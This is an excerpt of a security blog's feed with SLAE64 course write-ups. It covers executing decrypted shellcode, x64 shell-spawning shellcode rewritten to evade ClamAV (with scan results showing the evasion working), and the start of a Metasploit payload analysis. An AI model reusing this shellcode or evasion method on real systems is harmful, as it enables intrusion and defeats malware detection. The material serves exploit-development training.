&lt;span class="n"&gt;T5j2RP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;kN2E&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xTJ7aclDyqsv6KuOcnmP3yGbFPd4KSGUvWD&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="n"&gt;g1s8AhOrMrX&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;Km73QF4&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;wBCmj1VoPcA&lt;/span&gt;&lt;span class="o"&gt;/+&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;gSoyPMGPw96RG0RDAnQTy&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;Ql9CbJ&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ubtvxqVK5K1cHHg5&lt;/span&gt;
&lt;span class="n"&gt;GZG7g&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;BhcFK5UpJxZU786NbV5ARdTI8VZICJrV&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;oe8DFG1HlO9Q76o2hdzgrxsDAA&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ZZHPv5j62OnedQtKTTg&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;private_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;serialization&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_pem_private_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;backend&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;default_backend&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;private_key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;base64&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;OAEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;mgf&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MGF1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hashes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
            &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;hashes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SHA256&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;create_shellcode_function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/p&gt;
&lt;p&gt;Student ID: SLAE64-XXXXX&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>SLAE64 #6 - Polymorphic shellcode</title><link href="https://limbenjamin.com/articles/slae64-6-polymorphic-shellcode.html" rel="alternate"></link><published>2019-05-25T20:05:00+08:00</published><updated>2019-05-25T20:05:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-05-25:/articles/slae64-6-polymorphic-shellcode.html</id><summary type="html">&lt;p&gt;I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the &lt;code&gt;/bin/sh&lt;/code&gt; string. Breaking up the string caused the modified versions of both shellcodes to pass …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have taken shellcode #603 and #859 from shell-storm and created polymorphic version that passed clamav scan. The original version of both shellcodes were detected by clamav scan due to the presence of the &lt;code&gt;/bin/sh&lt;/code&gt; string. Breaking up the string caused the modified versions of both shellcodes to pass the detection. The offending original instruction has been commented out and the next 3 lines contain the modified instruction.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;#603&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;section&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;_start&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;_start:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;mov     qword rbx, &amp;#39;//bin/sh&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;n/sh&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;//bi&amp;#39;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;rbx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3b&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="c1"&gt;#859&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;section&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;_start&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;_start:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mul&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x2&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x29&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;loadall286&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x32&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;loadall286&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x2b&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;loadall286&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;dup2:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x21&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;loadall286&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dup2&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;;mov rdi,0x68732f6e69622f2f&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68732f6e&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;shl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x69622f2f&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x3b&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nf"&gt;loadall286&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Scanning shell_storm_603
shell_storm_603: Unix.Tool.13691-1 FOUND
Scanning shell_storm_603_mod
shell_storm_603_mod: OK
Scanning shell_storm_859
shell_storm_859: Unix.Trojan.MSShellcode-95 FOUND
Scanning shell_storm_859_mod
shell_storm_859_mod: OK

----------- SCAN SUMMARY -----------
Known viruses: 6137425
Engine version: 0.100.3
Scanned directories: 0
Scanned files: 4
Infected files: 2
Data scanned: 0.03 MB
Data read: 0.03 MB (ratio 1.00:1)
Time: 26.258 sec (0 m 26 s)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:&lt;/p&gt;
&lt;p&gt;Student ID: SLAE64-XXXXX&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>SLAE64 #5 - MSF shellcode analysis</title><link href="https://limbenjamin.com/articles/slae64-5-msf-shellcode-analysis.html" rel="alternate"></link><published>2019-05-25T17:38:00+08:00</published><updated>2019-05-25T17:38:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2019-05-25:/articles/slae64-5-msf-shellcode-analysis.html</id><summary type="html">&lt;p&gt;I would be analysing chunks of the &lt;code&gt;linux/x64/meterpreter/bind_tcp&lt;/code&gt; and the &lt;code&gt;linux/x64/shell_bind_tcp&lt;/code&gt; and see how they differ. Although both are TCP bind shellcode, the primary difference among them is that the meterpreter shellcode is a staged payload while the other is a stageless payload. As such …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I would be analysing chunks of the &lt;code&gt;linux/x64/meterpreter/bind_tcp&lt;/code&gt; and the &lt;code&gt;linux/x64/shell_bind_tcp&lt;/code&gt; and see how they differ. Although both are TCP bind shellcode, the primary difference among them is that the meterpreter shellcode is a staged payload while the other is a stageless payload. As such, the meterpreter shellcode expects the server to provide a second stage while the other will immediately return a usable shell.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;
&lt;span class="normal"&gt;64&lt;/span&gt;
&lt;span class="normal"&gt;65&lt;/span&gt;
&lt;span class="normal"&gt;66&lt;/span&gt;
&lt;span class="normal"&gt;67&lt;/span&gt;
&lt;span class="normal"&gt;68&lt;/span&gt;
&lt;span class="normal"&gt;69&lt;/span&gt;
&lt;span class="normal"&gt;70&lt;/span&gt;
&lt;span class="normal"&gt;71&lt;/span&gt;
&lt;span class="normal"&gt;72&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;linux/x64/meterpreter/bind_tcp payload

0x400078        xor    %rdi,%rdi
0x40007b        pushq  $0x9
0x40007d        pop    %rax
0x40007e        cltd
